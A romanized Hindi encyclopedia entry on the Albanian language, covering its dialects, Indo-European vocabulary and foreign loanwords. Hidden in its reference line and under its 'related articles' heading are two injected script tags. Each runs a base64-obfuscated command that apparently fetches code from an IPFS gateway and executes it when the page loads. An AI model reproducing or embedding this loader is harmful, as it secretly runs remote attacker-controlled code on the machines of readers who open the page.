अल्बेनियन भाषा
albeniyaee bhasha bharatiy yooropiy parivar ki yah prachin bhasha apane pray: maulik roop mean albeniyaee janata ki prachin prathaoan ki bhaanti aj bhi vidyaman hai. isake bolanevaloan ki sankhya lagabhag das lakh hai. uttari aur dakshini do boliyoan ke roop mean yah prachalit hai. uttari boli ko 'gvegui' kahate haian aur dakshini ko 'tosk'. inake sanjna roopoan mean kianchith bhed hai: gveguee mean svaroan ke madhy ka 'n' tosk mean 'ra' ho jata hai. in boliyoan ka bharatiy yooropiy roop inake sarvanamoan tatha kriyapadoan mean aj bhi surakshit hai. yatha : to (daoo-aangreji; too-hiandi); na (vi-aangreji, ham-hiandi); joo (yoo-aangreji, tum-hiandi) tatha kriyapadoan mean roopavidhan : dom (maian kahata hooan); doti (vah kahata hai); domi (ham kahate haian); aur doni (ve kahate haian).
isaki adhikaansh shabdavali videshi shabdoan se milakar bani hai, yadyapi bharatiy yooropiy parivar ke anek maulik shabd isamean aj bhi vidyaman haian. prachin grik bhasha se bahut hi kam shabd isamean ae pratit hote haian, kiantu madhyakalin tatha adhunik grik se avashy kuchh shabd ghoom phirakar (aur kabhi-kabhi vesh badalakar bhi) is bhasha mean a ge haian. jaise 'lipaset' (yah avashyak hai) shabd sarbiyan bhasha se albeniyaee mean aya, kiantu usase pahale sarbiya ne ise grik se liya tha. slav bhashaoan se bhi anek shabd lie ge haian. klasiki yug mean prachin grik ka prabhav albeniya tak nahian pahuanch paya, jabaki latini prabhav bahut pahale se hi vahaan tak pahuanch chuka tha. albeniyaee aankavali mean char ke lie 'katre' tatha shat ke lie 'kvidh' shabd avashy hi latini bhasha ke haian. jabaki 'pes' (paanch) aur dahet (dash) mool bharatiy-yooropiy-parivar ke haian. isi prakar latini 'amikas' (doodh) albeniyaee mean 'mik' rah gaya hai.
shaktishali roman samrajy ke prabhutvakal mean albeniyaee nagarik shabdavali par yathanusar prabal latini prabhav bhi p da, kiantu gramin janata ne apani bhasha ko aj tak sarvada 'shuddh' rakha hai. isaka uchcharan aur vyakaran aj bhi apane maulik roop mean akshunn hai. yah bhasha jis parvatiy pradesh mean boli jati hai, vah epiras ke uttar mean, maantinigro ke dakshin mean aur adriyatik sagar ke poorvasth hai. yah kab aur kaise is kshetr mean aee, yah abhi tak anishchit hai. is bhasha ke 15vian shatabdi ke hi upalabdh sahity ko sabase prachin kaha jata hai, kiantu any adhikaansh prachin sahity 16vian aur 17vian shatabdi ka hi milata hai. adhunik albeniyaee sahity jis bhasha mean likha gaya hai vah vartaman bhasha se bahut bhinn nahian hai aur vartaman bhasha prachin boliyoan ka hi pray: aparivartit roop hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 268 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>